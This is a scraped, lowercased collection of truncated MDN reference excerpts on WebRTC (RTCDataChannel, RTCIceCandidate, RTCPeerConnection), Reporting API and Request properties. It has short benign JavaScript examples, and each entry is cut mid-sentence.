RTCDataChannel.onbufferedamountlow - Web APIs
er will call to handle the bufferedamountlow event. this function receives as its only input parameter a simple event object representing the event which has occurred. example this example responds to the bufferedamountlow event by fetching up to 64kb of a file represented by an object source and calling rtcdatachannel.send() to queue up the retrieved data for sending on the data channel. pc =
new rtcpeerconnection(); dc = pc.createdatachannel("sendfile"); /* ... */ dc.onbufferedamountlow = function() { if (source.position <= source.length) { dc.send(source.readfile(65536)); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onbufferedamountlow' in that specification. ...
RTCDataChannel.onclose - Web APIs
nt itself, as an object of type event. example in this sample from a hypothetical instant messaging client, a data channel is created, then handlers for the open and close events are set up to enable and disable user interface objects based on the state of the channel. this way, the message entry field and the send button are only enabled for use when the connection is actually open. ...
RTCDataChannel.onerror - Web APIs
on receives as its only input an errorevent object describing the event which was received. that event object, in turn, describes the error that took place. example in the example below, a data channel is established, and an onerror handler is added to it. the error handler passes information about the error to a ui library's alert box function to present an error message to the user. let pc =
new rtcpeerconnection(); let dc = pc.createdatachannel("playercontrol"); dc.onerror = function(event) { myuilibrary.doalertbox({ 'network error', // alert title 'the error "' + event.message + '" occurred while handling player control network messages.', event.filename, event.lineno, event.colno }); } /* ... */ specifications specification st...
RTCDataChannel.onopen - Web APIs
simple event which is sent when the data channel's underlying data transport—the link over which the rtcdatachannel's messages flow—is established or re-established. syntax rtcdatachannel.onopen = function; value a function which the browser will call to handle the open event. the function receives as its only input parameter the event itself, of type event. example this example adds a
new data channel to an existing rtcpeerconnection, mypeerconnection. it then establishes an open event handler which updates some user interface elements to prepare them for being used to send messages over the data channel. let dc = mypeerconnection.createdatachannel("message channel"); dc.onopen = function(event) { let messagebox = document.getelementbyid("messagebox"); let sendbutton = docum...
RTCDataChannel.ordered - Web APIs
true, which indicates that the data channel is indeed ordered. this is set when the rtcdatachannel is created, by setting the ordered property on the rtcdatachannelinit object passed as rtcpeerconnection.createdatachannel()'s options parameter. syntax var ordered = adatachannel.ordered; a boolean value which is true if in-order delivery is guaranteed and is otherwise false. example var pc =
new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); if (!dc.ordered) { // handle unordered messaging } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.ordered' in that specification. candidate recommendation initial specification. ...
RTCDataChannel.protocol - Web APIs
tocol lets your app, for example, use json objects as messages on one channel while another channel is plaintext and another is raw binary or even some other format. syntax var subprotocol = adatachannel.protocol; value a string identifying the app-defined subprotocol being used for exchanging data on the channel. if none has been established, this is an empty string (""). ...
RTCDataChannel.reliable - Web APIs
the read-only rtcdatachannel property reliable indicates whether or not the data channel is reliable. this property is obsolete. use rtcdatachannel.ordered instead in any
new code, and update existing code as soon as possible. syntax var reliable = adatachannel.reliable; value true if the rtcdatachannel's connection is reliable; false if it isn't. example // tbd specifications no longer part of any specification. ...
RTCDataChannel.send() - Web APIs
last piece of a multi-part object sent using send(). for more information about message size restrictions, see understanding message size limits in using webrtc data channels. example in this example, a routine called sendmessage() is created; it accepts an object as input and sends to the remote peer, over the rtcdatachannel, a json string with the specified object and a time stamp. var pc =
new rtcpeerconnection(); var dc = pc.createdatachannel("backchannel"); function sendmessage(msg) { let obj = { "message": msg, "timestamp":
new date() } dc.send(json.stringify(obj)); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.send()' in that specification. candidat...
RTCDataChannel - Web APIs
or when an existing data channel's underlying connection re-opens. data format the underlying data format is defined by the ieee draft specification draft-ietf-mmusic-sctp-sdp. the current format specifies its protocol as either "udp/dtls/sctp" (udp carrying dtls carrying sctp) or "tcp/dtls/sctp" (tcp carrying dtls carrying sctp). older browsers may only specify "dtls/sctp". ...
RTCError - Web APIs
the rtcerror interface describes an error which has occurred while handling webrtc operations. it's based upon the standard domexception interface that describes general dom errors. constructor rtcerror() creates and returns a
new rtcerror object initialized with the properties of the provided rtcerrorinit dictionary and, optionally, a string to use as the value of the error's message property. properties in addition to the properties defined by the parent interface, domexception, rtcerror includes the following properties: errordetail read only a domstring specifying the webrtc-specific error code identifying the type of error that occurred. receivedalert read only an unsigned long integer value indicating the fatal dtls error which was received from the network. only valid...
RTCErrorEvent - Web APIs
the webrtc api's rtcerrorevent interface represents an error sent to a webrtc object. it's based on the standard event interface, but adds rtc-specific information describing the error, as shown below. constructor rtcerrorevent() creates and returns a
new rtcerrorevent object. properties in addition to the standard properties available on the event interface, rtcerrorevent also includes the following: error read only an rtcerror object specifying the error which occurred; this object includes the type of error that occurred, information about where the error occurred (such as which line number in the sdp or what sctp cause code was at issue). methods no additional methods are provided beyond any found on the parent interface, event. description there are other data types us...
RTCIceCandidate.RTCIceCandidate() - Web APIs
the rtcicecandidate() constructor creates and returns a
new rtcicecandidate object, which can be configured to represent a single ice candidate. syntax candidate =
new rtcicecandidate([candidateinfo]); parameters candidateinfo optional an optional rtcicecandidateinit object providing information about the candidate; if this is provided, the candidate is initialized configured to represent the described candidate. return value a
newly-created rtcicecandidate object, optionally configured based on the specified object based on the rtcicecandidateinit dictionary. if candidateinfo is provided, the
new rtcicecandidate is initialized as follows: each member of the rtcicecandidateinit object is initialized to the value of the property by the same name from rtcicecandidateinit. this in...
RTCIceCandidate.port - Web APIs
n the device at the address given by ip at which the candidate's peer can be reached. as is the case with most of rtcicecandidate's properties, the value of port is extracted from the candidate a-line string specified when creating the rtcicecandidate. the a-line string is obtained either from the rtcicecandidateinit property candidate or from a-line string passed into the constructor upon using
new rtcicecandidate(). syntax var port = rtcicecandidate.port; value a 16-bit number indicating the port number on the device at the address indicated by ip at which the candidate's peer can be reached. port is initialized to null if it is not specified in the candidate, or if the candidate string can't be parsed propertly. note: if port is null, passing the candidate to addicecandidate() will...
RTCIceCandidate.priority - Web APIs
the candidate string. in this example, the priority is 2043278322. example this candidate examines the priority of the candidate and, if it's greater than the priority of a previously-seen candidate, remembers the candidate for later use. var bestcandidate = { candidate: "", sdpmid: null, sdpmlineindex: null, priority: 0 }; function handlecandidate(candidatestring) { var candidate =
new rtcicecandidate(candidatestring); if (candidate.priority > bestcandidate.priority) { bestcandidate = candidate; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.priority' in that specification. candidate recommendation initial definition. ...
RTCIceCandidate.sdpMLineIndex - Web APIs
the read-only sdpmlineindex property on the rtcicecandidate interface is a zero-based index of the m-line describing the media associated with the candidate. this value is specified when creating the rtcicecandidate by setting the corresponding sdpmlineindex value in the rtcicecandidateinit object when creating a
new candidate with
new rtcicecandidate(). if you instead call rtcicecandidate() with a string parameter containing the candidate m-line text, the value of sdpmlineindex is extracted from the m-line. syntax var sdpmlineindex = rtcicecandidate.sdpmlineindex; value a number containing a 0-based index into the set of m-lines providing media descriptions, indicating which media source is associated with the candidate, or null if no such association is available. note: attempting ...
RTCIceCandidate.sdpMid - Web APIs
the read-only property sdpmid on the rtcicecandidate interface returns a domstring specifying the media stream identification tag of the media component with which the candidate is associated. this id uniquely identifies a given stream for the component with which the candidate is associated. this property can be configured by specifying the value of the sdpmid property when constructing the
new candidate object using rtcicecandidate(). if you call the constructor with an m-line string instead of an rtcicecandidateinit object, the value of sdpmid is extracted from the specified candidate m-line string. syntax var sdpmid = rtcicecandidate.sdpmid; value a domstring which uniquely identifies the source media component from which the candidate draws data, or null if no such association exis...
RTCIceCandidateInit - Web APIs
the webrtc api's rtcicecandidateinit dictionary, which contains the information needed to fundamentally describe an rtcicecandidate. rtcicecandidateinit is used when using
new rtcicecandidate() to create a
new ice candidate object. it's also used as the return value from the rtcicecandidate.tojson() method, and can be passed directly into rtcpeerconnection.addicecandidate() to add a candidate to the peer connection. properties candidate optional the ice candidate-attribute. if the candidate is an indicator that there are no further candidates (rather than representing a
new candidate), this is the empty string (""). the default is the empty string. sdpmid optional the identification tag of the media stream with which the candidate is associated, or null if there is no associated media...
RTCIceGathererState - Web APIs
"gathering" the transport is in the process of gathering candidates. "complete" the transport has finished gathering ice candidates and has sent the end-of-candidates indicator to the remote device. the transport won't gather any further candidates unless an ice restart occurs, at which point the gathering process starts over from scratch. ...
RTCIceTransport.getSelectedCandidatePair() - Web APIs
ble matching pair of candidates, meeting the requirements for the connection, a selectedcandidatepairchange event is fired at the rtcicetransport. from that time forward, the best matching pair of candidates will always be available by calling getselectedcandidatepair(). as ice negotiation continues, any time a pair of candidates is discovered that is better than the currently-selected pair, the
new pair is selected, replacing the previous pairing, and the selectedcandidatepairchange event is fired again. note: it's possible for one of the configurations in the selected candidate pair to remain unchanged when a
new pairing is chosen. example in this example, an event handler for selectedcandidatepairchange is set up to update an on-screen display showing the protocol used by the current...
RTCIceTransport.ongatheringstatechange - Web APIs
the rtcicetransport interface specifies an event handler that is to be called when the gatheringstatechange event occurs on the transport. this event is delivered whenever the transport's gatheringstate property changes. syntax rtcicetransport.ongatheringstatechange = statechangehandler; value a function to be called when the rtcicetransport object's gathering state changes. to determine the
new state, examine the value of gatheringstate. the gathering state indicates whether or not the ice agent has begun gathering candidates, and if so, whether or not gathering has finished. its possible values are: "
new" the rtcicetransport is
newly created and has not yet started to gather ice candidates. "gathering" the transport is in the process of gathering candidates. "complete" the tra...
RTCIceTransport.onselectedcandidatepairchange - Web APIs
the rtcicetransport interface's onselectedcandidatepairchange event handler specifies a function to be called to handle the selectedcandidatepairchange event, which is fired when the ice agent selects a
new candidate pair to be used for the connection. syntax rtcicetransport.onselectedcandidatepairchange = candidatepairhandler; value this propoerty should be set to reference an event handler function to be called by the ice agent when it discovers a
new candidate pair that the rtcicetransport will be using for communication with the remote peer. this event will occur at least once, and may occur more than once if the ice agent continues to identify candidate pairs that will work better, more closely match the requested parameters, and so forth. the event handler can determine the curre...
RTCIceTransport.onstatechange - Web APIs
nge event that is fired whenever the transport's state changes. syntax rtcicetransport.onstatechange = statechangehandler; value set this property to reference a function you provide that is called by the webrtc layer when the rtcicetransport object's state changes. the event handler receives as its sole input an event object describing the statechange event which occurred. to determine the
new state, examine the value of state. example this snippet establishes a handler for the statechange event that looks to see if the transport has entered the "failed" state, which indicates that the connection has failed with no chance of being automatically restored. var icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = function(event) { if (icetransport.s...
RTCIceTransport: selectedcandidatepairchange event - Web APIs
the pair of candidates is in turn described by an rtcicecandidatepair object which contains one rtcicecandidate representing the local end of the connection, and another representing the remote end of the connection. together, the candidates can be used to establish a connection to be used by the rtcicetransport, and, by extension, by an rtcpeerconnection. ...
RTCIceTransport.state - Web APIs
ce agent currently is operating. this differs from the gatheringstate, which only indicates whether or not ice gathering is currently underway. syntax icestate = icetransport.state; value a domstring, whose value is one of those found in the enumerated type rtcicetransportstate, which indicates the stage of ice gathering that's currently underway. its value will be one of the following: "
new" the rtcicetransport is currently gathering local candidates, or is waiting for the remote device to begin to transmit the remote candidates, or both. in this state, checking of candidates to look for those which might be acceptable has not yet begun. "checking" at least one remote candidate has been received, and the rtcicetransport has begun examining pairings of remote and local candidates ...
RTCOfferOptions - Web APIs
the rtcofferoptions dictionary is used to provide optional settings when creating an rtcpeerconnection offer with the createoffer() method. properties this dictionary also inherits properties from the rtcofferansweroptions dictionary, on which it's based. icerestart optional a boolean which, when set to true, tells createoffer() to generate and use
new values for the identifying properties of the sdp it creates, resulting in a request that triggers renegotiation of the ice connection. this is useful if network conditions have changed in a way that make the current configuration untenable or impractical, for instance. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcofferoptions' in that spec...
RTCPeerConnection: addstream event - Web APIs
important: this event has been removed from the webrtc specification. you should instead watch for the track event, which is sent for each media track added to the rtcpeerconnection. bubbles no cancelable no interface mediastreamevent event handler property rtcpeerconnection.onaddstream you can, similarly, watch for streams to be removed from the connection by monitoring the removestream event. examples this example looks to determine if the user's browser supports the track event. ...
RTCPeerConnection.currentLocalDescription - Web APIs
tching over to. syntax sessiondescription = rtcpeerconnection.currentlocaldescription; return value the current description of the local end of the connection, if one has been set. if none has been successfully set, this value is null. example this example looks at the currentlocaldescription and displays an alert containing the rtcsessiondescription object's type and sdp fields. ...
RTCPeerConnection.currentRemoteDescription - Web APIs
ing over to. syntax sessiondescription = rtcpeerconnection.currentremotedescription; return value the current description of the remote end of the connection, if one has been set. if none has been successfully set, this value is null. example this example looks at the currentremotedescription and displays an alert containing the rtcsessiondescription object's type and sdp fields. ...
RTCPeerConnection: datachannel event - Web APIs
.createdatachannel(). note: this event is not dispatched when the local end of the connection creates the channel. bubbles no cancelable no interface rtcdatachannelevent event handler property ondatachannel examples this example sets up a function that handles datachannel events by gathering the information needed to communicate with the
newly added rtcdatachannel and by adding event handlers for the events that occur on that channel. pc.addeventlistener("datachannel", ev => { receivechannel = ev.channel; receivechannel.onmessage = myhandlemessage; receivechannel.onopen = myhandleopen; receivechannel.onclose = myhandleclose; }, false); receivechannel is set to the value of the event's channel property, which specifies the ...
RTCPeerConnection.generateCertificate() - Web APIs
the algorithm to use in creating the key. rtcpeerconnection.generatecertificate() is a static method, so it is always called on the rtcpeerconnection interface itself, not an instance thereof. return value a reference to an rtccertificate object. example rtcpeerconnection.generatecertificate({ name: 'rsassa-pkcs1-v1_5', hash: 'sha-256', moduluslength: 2048, publicexponent:
new uint8array([1, 0, 1]) }).then(function(cert) { var pc =
new rtcpeerconnection({certificates: [cert]}); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'generatecertificate()' in that specification. candidate recommendation initial definition. ...
RTCPeerConnection.getDefaultIceServers() - Web APIs
at all. syntax var defaulticeservers = rtcpeerconnection.getdefaulticeservers(); return value an array of ice servers, specified as objects based on rtciceserver, which the browser will use if none are specified in the configuration of the rtcpeerconnection. ...
RTCPeerConnection.getIdentityAssertion() - Web APIs
. the method returns immediately. if the assertion cannot be generated, an idpassertionerror will be sent to the object. it is not expected for the application dealing with the rtcpeerconnection: this is automatically done; an explicit call only allows to anticipate the need. syntax pc.getidentityassertion(); there is neither parameter nor return value for this method. example var pc =
new peerconnection(); pc.getidentityassertion(); // not mandatory, but we know that we will need it in the future. specifications specification status comment identity for webrtcthe definition of 'rtcpeerconnection.getidentityassertion()' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.getStats() - Web APIs
and failure callbacks to report the results to you, instead of using a promise. this version of getstats() is obsolete; in addition, the data it returns is entirely different from the current specification, and the form of that data was never documented. this form of getstats() has been or will soon be removed from most browsers; you should not use it, and should update existing code to use the
new promise-based version. check the browser compatibility table to verify the state of this method. promise = rtcpeerconnection.getstats(selector, successcallback, failurecallback) parameters selector optional a mediastreamtrack for which to gather statistics. if this is null (the default value), statistics will be gathered for the entire rtcpeerconnection. successcallback a callback funct...
RTCPeerConnection: iceconnectionstatechange event - Web APIs
an iceconnectionstatechange event is sent to an rtcpeerconnection object each time the ice connection state changes during the negotiation process. the
new ice connection state is available in the object's iceconnectionstate} property. bubbles no cancelable no interface event event handler property oniceconnectionstatechange one common task performed by the iceconnectionstatechange event listener: to trigger ice restart when the state changes to failed. see ice restart in lifetime of a webrtc session for further information. usage notes a successful connection attempt will typically involve the state starting at
new, then transitioning through checking, then connected, and finally completed. however, under certain circumstances, the c...
RTCPeerConnection: icegatheringstatechange event - Web APIs
the icegatheringstatechange event is sent to the onicegatheringstatechange event handler on an rtcpeerconnection when the state of the ice candidate gathering process changes. this signifies that the value of the connection's icegatheringstate property has changed. when ice firststarts to gather connection candidates, the value changes from
new to gathering to indicate that the process of collecting candidate configurations for the connection has begun. when the value changes to complete, all of the transports that make up the rtcpeerconnection have finished gathering ice candidates. bubbles no cancelable no interface event event handler onicegatheringstatechange note: while you can determine that ice candidate gathering is complete b...
RTCPeerConnection.localDescription - Web APIs
ection.pendinglocaldescription if that property isn't null; otherwise, the value of rtcpeerconnection.currentlocaldescription is returned. see pending and current descriptions in webrtc connectivity for details on this algorithm and why it's used. example this example looks at the localdescription and displays an alert containing the rtcsessiondescription object's type and sdp fields. ...
RTCPeerConnection.onconnectionstatechange - Web APIs
connectionstatechange = eventhandler; value a function which is called by the browser when the connectionstatechange event occurs on the rtcpeerconnection. the function receives as input a single parameter, which is an object of type event. the event object contains no special information of note; you can look at the value of the peer connection's connectionstate property to determine what the
new state is. example pc.onconnectionstatechange = function(event) { switch(pc.connectionstate) { case "connected": // the connection has become fully connected break; case "disconnected": case "failed": // one or more transports has terminated unexpectedly or in an error break; case "closed": // the connection has been closed break; } } spec...
RTCPeerConnection.ondatachannel - Web APIs
h specifies a function which is called when the datachannel event occurs on an rtcpeerconnection. this event, of type rtcdatachannelevent, is sent when an rtcdatachannel is added to the connection by the remote peer calling createdatachannel(). at the time this event is received, the rtcdatachannel it indicates may not yet actually be open. be sure to wait for the "open" event to be fired on the
new rtcdatachannel before using it. syntax rtcpeerconnection.ondatachannel = function; value set this property to be a function you provide which receives as input a single parameter: an rtcdatachannelevent which provides in its channel property the rtcdatachannel which has been created. example pc.ondatachannel = function(ev) { console.log('data channel is created!'); ev.channel.onopen = ...
RTCPeerConnection.oniceconnectionstatechange - Web APIs
ent, as represented by the iceconnectionstate property, changes. syntax rtcpeerconnection.oniceconnectionstatechange = eventhandler; value this event handler can be set to function which is passed a single input parameter: an event object describing the iceconnectionstatechange event which occurred. your code can look at the value of rtcpeerconnection.iceconnectionstate to determine what the
new state is. example the example below watches the state of the ice agent for a failure or unexpected closure and takes appropriate action, such as presenting an error message or attempting to restart the ice agent. pc.oniceconnectionstatechange = function(event) { if (pc.iceconnectionstate === "failed" || pc.iceconnectionstate === "disconnected" || pc.iceconnectionstate === "closed...
RTCPeerConnection.onsignalingstatechange - Web APIs
of a call to setlocaldescription() or to setremotedescription(). syntax rtcpeerconnection.onsignalingstatechange = errorhandler; value set this to a function which you provide that receives an event object as input; this contains the signalingstatechange event. this event object doesn't provide details about what changed, but you can examine the signalingstate property to determine what the
new state is. you may also, as always, set up a handler for the signalingstatechange event using addeventlistener(): myrtcpeerconnection.addeventlistener("signalingstatechange", mysignalingstatechangehandler); or, using an anonymous (inline) handler: myrtcpeerconnection.addeventlistener("signalingstatechange", event => { /* handle the event here */ }); example this snippet shows a handler fo...
RTCPeerConnection.pendingLocalDescription - Web APIs
ebrtc connectivity. syntax sessiondescription = rtcpeerconnection.pendinglocaldescription; return value if a local description change is in progress, this is an rtcsessiondescription describing the proposed configuration. otherwise, this returns null. example this example looks at the pendinglocaldescription to determine whether or not there's a description change being processed. var pc =
new rtcpeerconnection(); … var sd = pc.pendinglocaldescription; if (sd) { // there's a description change underway! } else { // no description change pending } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.pendinglocaldescription' in that specification. candidate recommendati...
RTCPeerConnection.pendingRemoteDescription - Web APIs
tc connectivity. syntax sessiondescription = rtcpeerconnection.pendingremotedescription; return value if a remote description change is in progress, this is an rtcsessiondescription describing the proposed configuration. otherwise, this returns null. example this example looks at the pendingremotedescription to determine whether or not there's a description change being processed. var pc =
new rtcpeerconnection(); … var sd = pc.pendingremotedescription; if (sd) { // there's a description change underway! } else { // no description change pending } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.pendingremotedescription' in that specification. candidate recommenda...
RTCPeerConnection.remoteDescription - Web APIs
ion.pendingremotedescription if that property isn't null; otherwise, the value of rtcpeerconnection.currentremotedescription is returned. see pending and current descriptions in webrtc connectivity for details on this algorithm and why it's used. example this example looks at the remotedescription and displays an alert containing the rtcsessiondescription object's type and sdp fields. ...
RTCPeerConnection.removeTrack() - Web APIs
ack a rtcrtpsender specifying the sender to remove from the connection. return value undefined. exceptions invalidstateerror the connection is not open. example this example adds a video track to a connection and sets up a listener on a close button which removes the track when the user clicks the button. ...
RTCPeerConnection.restartIce() - Web APIs
ent. this process continues until an ice restart has been successfully completed. syntax rtcpeerconnection.restartice(); parameters none. return value undefined. usage notes after calling restartice(), the next offer created using createoffer() will initiate ice restart once sent to the remote peer over your signaling mechanism. restarting ice essentially resets ice so that it creates all
new candidates using
new credentials. existing media transmissions continue uninterrupted during this process. for details about how ice restart works, see ice restart in lifetime of a webrtc session and rfc 5245, section 9.1.1.1: ice specification. example this example creates a handler for the iceconnectionstatechange event that handles a transition to the failed state by restarting ice in order...
RTCPeerConnection.sctp - Web APIs
his value is null. the sctp transport is used for transmitting and receiving data for any and all rtcdatachannels on the peer connection. syntax var sctp = rtcpeerconnection.sctp; value a rtcsctptransport object describing the sctp transport being used by the rtcpeerconnection for transmitting and receiving on its data channels, or null if sctp negotiation hasn't happened. ...
RTCPeerConnection.setIdentityProvider() - Web APIs
no return value for this method. parameters domainname is a domstring is the domain name where the idp is. protocol optional is a domstring representing the protocol used to communicate with the idp. it defaults to "default" and is used to determine the url where the idp is listening. username optional is a domstring representing the username associated with the idp. example var pc =
new peerconnection(); pc.setidentityassertion("developer.mozilla.org"); specifications specification status comment identity for webrtcthe definition of 'rtcpeerconnection.setidentityprovider()' in that specification. candidate recommendation ...
RTCPeerConnectionIceEvent - Web APIs
is of this type: icecandidate. properties a rtcpeerconnectioniceevent being an event, this event also implements these properties. rtcpeerconnectioniceevent.candidate read only contains the rtcicecandidate containing the candidate associated with the event, or null if this event indicates that there are no further candidates to come. constructors rtcpeerconnectioniceevent() returns a
new rtcpeerconnectioniceevent. it takes two parameters, the first being a domstring representing the type of the event; the second a dictionary containing the rtcicecandidate it refers to. methods a rtcpeerconnectioniceevent being an event, this event also implements these properties. there is no specific rtcdatachannelevent method. examples pc.onicecandidate = function( ev ) { alert("the ice...
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
tcstats-based statistics records in the report until we find one that has the key property with the specified value. when a match is found, the statistics object is returned. if no match is found, the function returns null. the main networkteststop() function now let's look at the networkteststop() function itself. it takes as input the rtcpeerconnection being tested, calls getstats() to get a
new rtcstatsreport with current statistics, then computes the results it's looking for, outputting those results as appropriate to the user by appending appropriate html to the contents of the <div> element whose class is stats-box. async function networkteststop(pc) { if (pc) { let statsbox = document.queryselector(".stats-box"); let endreport = await pc.getstats(); for (let endremot...
RTCRtpSender.setStreams() - Web APIs
nder's track with the specified mediastream or array of mediastream objects. syntax rtcrtpsender.setstreams(mediastream); rtcrtpsender.setstreams([mediastream...]); parameters mediastream or [mediastream...] optional an mediastream object—or an array of multiple mediastream objects—identifying the streams to which the rtcrtpsender's track belongs. if this parameter isn't specified, no
new streams will be associated with the track. return value none. exceptions invalidstateerror the sender's connection is closed. description setstreams() is purely additive. it doesn't remove the track from any streams; it simply adds it to
new ones. if you specify streams to which the track already belongs, that stream is unaffected. once the track has been added to all of the streams, ...
RTCRtpTransceiver.direction - Web APIs
has an active encoding. exceptions when setting the value of direction, the following exceptions can occur: invalidstateerror either the receiver's rtcpeerconnection is closed or the rtcrtpreceiver is stopped. usage notes setting the direction when you change the value of direction, an invalidstateerror exception will occur if the connection is closed or the receiver is stopped. if the
new value of direction is in fact different from the existing value, renegotiation of the connection is required, so a negotiationneeded event is sent to the rtcpeerconnection. effect on offers and answers the value of direction is used by rtcpeerconnection.createoffer() or rtcpeerconnection.createanswer() in order to generate the sdp generated by each of those methods. the sdp contains an a-line w...
RTCRtpTransceiver.setCodecPreferences() - Web APIs
the specified set of codecs and configurations will be used for all future connections including this transceiver until this method is called again. when preparing to open an rtcpeerconnection, you can change the codec parameters from the user agent's default configuration by calling setcodecparameters() before calling either rtcpeerconnection.createoffer() or createanswer(). ...
ReadableStreamDefaultController.enqueue() - Web APIs
second and enqueues it into the stream — see controller.enqueue(string). a cancel() function is also provided to stop the generation if readablestream.cancel() is called for any reason. when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream. ...
ReadableStreamDefaultController - Web APIs
p the generation if readablestream.cancel() is called for any reason. note that a readablestreamdefaultcontroller object is provided as the parameter of the start() and pull() functions. when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream. ...
RelativeOrientationSensor.RelativeOrientationSensor() - Web APIs
the relativeorientationsensor constructor creates a
new relativeorientationsensor object which describes the device's physical orientation. if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. syntax var relativeorientationsensor =
new relativeorientationsensor([options]) parameters options optional options are as follows: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called. a whole number or decimal may be used, the latter for frequencies less than a second. the actual reading frequency depends device har...
Report.body - Web APIs
type the report is, the object returned will actually be a deprecationreportbody, interventionreportbody, crashreportbody, or featurepolicyviolationreportbody. these all inherit from the base reportbody class — study their reference pages for more information on what the particular report body types contain. examples let options = { types: ['deprecation'], buffered: true } let observer =
new reportingobserver(function(reports, observer) { let firstreport = reports[0]; // log the first report's report body, i.e. a deprecationreportbody object console.log(firstreport.body); }, options); specifications specification status comment reporting apithe definition of 'report.body' in that specification. editor's draft ...
Report.type - Web APIs
the type read-only property of the report interface returns the type of report generated, e.g. deprecation or intervention. syntax let reporttype = reportinstance.type returns a string representing the type of the report. currently the available types are deprecation, intervention, and crash. examples let options = { types: ['deprecation'], buffered: true } let observer =
new reportingobserver(function(reports, observer) { let firstreport = reports[0]; // log the first report's report type, i.e. "deprecation" console.log(firstreport.type); }, options); specifications specification status comment reporting apithe definition of 'report.body' in that specification. editor's draft ...
Report.url - Web APIs
the url read-only property of the report interface returns the url of the document that generated the report. syntax let reporturl = reportinstance.url returns a string representing the url of the document that generated the report. examples let options = { types: ['deprecation'], buffered: true } let observer =
new reportingobserver(function(reports, observer) { let firstreport = reports[0]; // log the url of the document that generated the first report // e.g. "https://www.example.com/cats.html" console.log(firstreport.url); }, options); specifications specification status comment reporting apithe definition of 'report.url' in that specification. editor's draft ...
ReportingObserver.disconnect() - Web APIs
ad previously started observing from collecting reports. after calling disconnect(), neither reportingobserver.takerecords() nor the records parameter of the reportingobserver() callback will return any reports. the associated observer will no longer be active. syntax reportingobserverinstance.disconnect() examples let options = { types: ['deprecation'], buffered: true } let observer =
new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); observer.observe() ... observer.disconnect() specifications specification status comment reporting apithe definition of 'reportingobserver.disconnect()' in that specification. editor's draft ...
ReportingObserver.observe() - Web APIs
the observe() method of the reportingobserver interface instructs a reporting observer to start collecting reports in its report queue. syntax reportingobserverinstance.observe() examples let options = { types: ['deprecation'], buffered: true } let observer =
new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); observer.observe() specifications specification status comment reporting apithe definition of 'reportingobserver.observe()' in that specification. editor's draft ...
ReportingObserver.takeRecords() - Web APIs
the takerecords() method of the reportingobserver interface returns the current list of reports contained in the observer's report queue, and empties the queue. syntax reportingobserverinstance.takerecords() return value an array of report objects. examples let options = { types: ['deprecation'], buffered: true } let observer =
new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); observer.observe() // ... let records = observer.takerecords(); console.log(records); specifications specification status comment reporting apithe definition of 'reportingobserver.takerecords()' in that specification. editor's draft ...
ReportingObserverOptions - Web APIs
an array of strings representing the types of report to be collected by this observer. available types include deprecation, intervention, and crash. buffered a boolean that defines whether the reports that were generated before the observer was able to be created should be observable (true) or not (false). examples let options = { types: ['deprecation'], buffered: true } let observer =
new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); specifications specification status comment reporting apithe definition of 'reportingobserveroptions' in that specification. editor's draft ...
Reporting API - Web APIs
tbody return value. crash report indicates that the website stopped running due to a browser crash. indicated by a report.body property with a crashreportbody return value. ...
Request.destination - Web APIs
r. syntax var destination = request.destination; value a string from the requestdestination enumerated type which indicates the type of content the request is asking for. this type is much broader than the usual document type values (such as "document" or "manifest"), and may include contextual cues such as "image" or "worker" or "audioworklet". example in the following snippet, we create a
new request using the request() constructor (for an image file in the same directory as the script), then save the request's destination: var myrequest =
new request('flowers.jpg'); var mydestination = myrequest.destination; // returns the empty string by default specifications specification status comment fetchthe definition of 'destination' in that specification. livin...
Request.integrity - Web APIs
the integrity read-only property of the request interface contains the subresource integrity value of the request. syntax var myintegrity = request.integrity; value the subresource integrity value of the request (e.g., sha256-bpfbw7ivv8q2jlit13fxdyae2tjllusrsz273h2nfse=). if an integrity has not been specified, the property returns ''. example in the following snippet, we create a
new request using the request.request() constructor (for an image file in the same directory as the script), then save the request integrity value in a variable: var myrequest =
new request('flowers.jpg'); var myintegrity = myrequest.integrity; specifications specification status comment fetchthe definition of 'integrity' in that specification. living standard initial definit...
Request.method - Web APIs
the method read-only property of the request interface contains the request's method (get, post, etc.) syntax var mymethod = request.method; value a bytestring indicating the method of the request. example in the following snippet, we create a
new request using the request.request() constructor (for an image file in the same directory as the script), then save the method of the request in a variable: var myrequest =
new request('flowers.jpg'); var mymethod = myrequest.method; // get specifications specification status comment fetchthe definition of 'method' in that specification. living standard initial definition ...
Request.mode - Web APIs
used as the mode; for example, for embedded resources where the request is initiated from markup, unless the crossorigin attribute is present, the request is in most cases made using the no-cors mode — that is, for the <link> or <script> elements (except when used with modules), or <img>, <audio>, <video>, <object>, <embed>, or <iframe> elements. example in the following snippet, we create a
new request using the request.request() constructor (for an image file in the same directory as the script), then save the request mode in a variable: var myrequest =
new request('flowers.jpg'); var mymode = myrequest.mode; // returns "cors" by default specifications specification status comment fetchthe definition of 'mode' in that specification. living standard init...
Request.redirect - Web APIs
the redirect read-only property of the request interface contains the mode for how redirects are handled. syntax var myredirect = request.redirect; value a requestredirect enum value, which can be one the following strings: follow error manual if not specified when the request is created, it takes the default value of follow. example in the following snippet, we create a
new request using the request.request() constructor (for an image file in the same directory as the script), then save the request redirect value in a variable: var myrequest =
